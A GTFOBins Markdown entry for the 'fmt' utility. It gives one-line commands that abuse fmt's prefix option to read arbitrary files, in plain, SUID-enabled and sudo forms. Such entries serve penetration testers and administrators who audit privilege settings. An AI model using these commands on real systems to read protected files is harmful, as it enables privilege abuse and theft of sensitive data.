GTFOBins.github.io/_gtfobins/fmt.md
2018-07-16 15:01:50 +02:00

17 lines
378 B
Markdown

---
description: The read file content is not binary-safe.
functions:
file-read:
- code: |
LFILE=file_to_read
fmt -pNON_EXISTING_PREFIX "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fmt -pNON_EXISTING_PREFIX "$LFILE"
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fmt -pNON_EXISTING_PREFIX "$LFILE"
---